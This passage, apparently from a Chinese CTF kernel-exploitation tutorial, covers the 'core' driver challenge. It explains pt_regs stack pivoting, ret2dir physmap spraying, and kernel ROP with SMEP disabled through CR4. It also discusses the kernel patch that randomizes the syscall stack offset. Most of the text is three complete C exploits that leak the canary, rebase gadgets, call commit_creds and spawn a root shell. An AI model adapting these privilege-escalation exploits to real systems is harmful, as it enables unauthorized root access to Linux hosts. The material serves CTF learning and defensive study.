/* top of stack page */
};
内核栈只有一个页面的大小,而 pt_regs
结构体则固定位于内核栈栈底,当我们劫持内核结构体中的某个函数指针时(例如 seq_operations->start
),在我们通过该函数指针劫持内核执行流时 rsp
与 栈底的相对偏移通常是不变的。
而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15
,这些寄存器为我们布置 ROP 链提供了可能,我们不难想到:只需要寻找到一条形如 "add rsp, val ; ret"
的gadget
便能够完成ROP
,在进入内核态前像寄存器写入一些值,看那些寄存器可以被保留,以便后续写入gadget
。
KPTI pass:使用
seq_operations + pt_regs
结构体
seq_operations
的条目如下: struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
当我们打开一个 stat 文件时(如
/proc/self/stat
)便会在内核空间中分配一个seq_operations
结构体当我们 read 一个 stat 文件时,内核会调用其
proc_ops
的proc_read_iter
指针,然后调用seq_operations->start
函数指针
利用思路
这次我们限制溢出只能覆盖返回地址,此时需要栈迁移到其他地方构造 rop 。其中一个思路就是在 pt_regs
上构造 rop 。我们在调用 core_copy_func
函数之前先将寄存器设置为几个特殊的值,然后再 core_copy_func
函数的返回处下断点。
__asm__(
"mov r15, 0x1111111111111111;"
"mov r14, 0x2222222222222222;"
"mov r13, 0x3333333333333333;"
"mov r12, 0x4444444444444444;"
"mov rbp, 0x5555555555555555;"
"mov rbx, 0x6666666666666666;"
"mov r11, 0x7777777777777777;"
"mov r10, 0x8888888888888888;"
"mov r9, 0x9999999999999999;"
"mov r8, 0xaaaaaaaaaaaaaaaa;"
"mov rcx, 0xbbbbbbbbbbbbbbbb;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0050;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
数字没变的寄存器就是我们能够控制的,可以被我们用来写 gadget。
0b:0058│ 0xffffc90000113f58 ◂— 0x1111111111111111 ; r15
0c:0060│ 0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""') ; r14
0d:0068│ 0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333') ; r13
0e:0070│ 0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD') ; r12
0f:0078│ 0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU') ; rbp
10:0080│ 0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff') ; rsp
11:0088│ 0xffffc90000113f88 ◂— 0x207
12:0090│ 0xffffc90000113f90 ◂— 0x8888888888888888 ;r10
13:0098│ 0xffffc90000113f98 ◂— 0x9999999999999999 ;r9
14:00a0│ 0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa ;r8
15:00a8│ 0xffffc90000113fa8 ◂— 0xffffffffffffffda
16:00b0│ 0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
17:00b8│ 0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */
18:00c0│ 0xffffc90000113fc0 ◂— 0x6677889a
19:00c8│ 0xffffc90000113fc8 ◂— 0x614d8e5400000004
1a:00d0│ 0xffffc90000113fd0 ◂— 0x10
1b:00d8│ 0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
1c:00e0│ 0xffffc90000113fe0 ◂— 0x33 /* '3' */
1d:00e8│ 0xffffc90000113fe8 ◂— 0x207
1e:00f0│ 0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0
1f:00f8│ 0xffffc90000113ff8 ◂— 0x2b /* '+' */
新版本内核对抗利用 pt_regs 进行攻击的办法
内核主线在 这个 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs
与我们触发劫持内核执行流时的栈间偏移值不再是固定值:
diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
index 4efd39aacb9f2..7b2542b13ebd9 100644
--- a/arch/x86/entry/common.c
+++ b/arch/x86/entry/common.c
@@ -38,6 +38,7 @@
#ifdef CONFIG_X86_64
__visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
+ add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget
来继续完成利用,不过稳定性也大幅下降了。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset + 8;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[64] = canary;
*(size_t *) &buf[80] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}
执行 add_rsp_0xc8_pop*4_ret
时栈布局,rsp
抬高0xc8+0x20
后 ret
会执行到我们的 shellcode
。
ret2dir
如果 ptregs
所在的内存被修改了导致可控内存变少,我们可以利用 ret2dir
的利用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的mm.txt查看。
ret2dir
是哥伦比亚大学网络安全实验室在 2014
年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn
等用户空间与内核空间隔离的防护手段,原论文。 linux
系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area
,即内核的线性映射区。,这个区域映射了所有的物理内存。我们在用户空间中布置的 gadget
可以通过 direct mapping area
上的地址在内核空间中访问到。
但需要注意的是在新版的内核当中 direct mapping area
已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode
进行利用,但我们仍能通过在用户空间布置 ROP
链的方式完成利用。
利用思路
-
在用户空间大量喷洒我们的
gadget: add_rsp_0xe8_ret
-
返回地址覆盖为对应内核版本的线性映射区
+0x7000000
的位置。 -
利用
pt_regs
保存的pop_rbp_ret; target_addr; leave;ret
来完成栈迁移。 -
执行线性映射区的
shellcode
。
exp
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t retn = 0xFFFFFFFF81003E15;
size_t pop_rbp_ret = 0xFFFFFFFF812D71EF;
size_t leave_ret = 0xFFFFFFFF81037384;
const size_t try_hit = 0xffff880000000000+0x7000000;
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell()
{
system("/bin/sh");
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
pop_rbp_ret += offset;
leave_ret += offset;
retn += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
void physmap()
{
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Error: open core");
}
page_size = sysconf(_SC_PAGESIZE);
printf("[*] page_size %llx", &page_size);
size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int idx = 0;
while (idx < (page_size / 8 - 0x30)) {
rop[idx++] = add_rsp_0xe8_ret;
}
for (; idx < (page_size / 8 - 0xb); idx++) {
rop[idx] = retn;
}
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[idx++] = 0x0000000000000000;
rop[idx++] = 0x0000000000000000;
rop[idx++] = (size_t) get_shell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
puts("[*] Spraying physmap...");
for (int i = 1; i < 15000; i++) {
size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(page, rop, page_size);
}
puts("[*] trigger physmap one_gadget...");
}
int main()
{
rebase();
save_status();
physmap();
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
*(size_t *) &buf[0x50] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rbp_ret;"
"mov r14, try_hit;"
"mov r13, leave_ret;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
return 0;
}
流程
(1)修改返回地址为线性映射区的地址,大概率会执行到add_rsp_0xe8_ret
将栈抬升到pt_regs
处,执行我们负责栈迁移的shell_code
。
(2)将栈迁移到我们目标地址后,大量的slider gadget
将栈不断抬升到get_root
代码处,完成提权。
kernel rop + ret2user
利用思路
这种方法实际上是将前两种方法结合起来,同样可以绕过 smap
和 smep
保护。大体思路是先利用 rop
设置 cr4
为 0x6f0
(这个值可以通过用 cr4
原始值 & 0xFFFFF
得到)关闭 smep
, 然后 iret
到用户空间去执行提权代码。
例如,当
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
时,smep
保护开启。而 CR4
寄存器是可以通过 mov
指令修改的,因此只需要
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000
即可关闭 smep
保护。
搜索一下从 vmlinux
中提取出的 gadget
,很容易就能达到这个目的。
-
如何查看
CR4
寄存器的值?gdb
无法查看cr4
寄存器的值,可以通过kernel crash
时的信息查看。为了关闭smep
保护,常用一个固定值0x6f0
,即mov cr4, 0x6f0
。
exp
注意这里 smap
保护不能直接关闭,因此不能像前面 ret2usr
那样直接在 exp
中写入 trap frame
然后栈迁移到 trap frame
的地址,而是在 rop
中构造 trap frame
结构。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
size_t *rop = (size_t *) &buf[80], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0x00000000000006f0;
rop[it++] = mov_cr4_rdi_ret;
rop[it++] = (size_t) get_root;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
更多网安技能的在线实操练习,请点击这里>>